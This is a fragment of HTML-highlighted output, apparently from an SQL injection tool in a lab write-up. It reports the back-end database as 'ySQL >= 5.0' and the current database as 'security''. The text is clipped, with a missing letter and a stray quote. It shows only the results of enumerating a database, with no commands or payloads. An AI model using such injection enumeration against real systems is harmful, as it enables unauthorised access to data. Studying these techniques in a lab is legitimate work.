</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">back-end DBMS:
ySQL &gt;= 5.0
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">current database:
security'
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span></code></pre>
```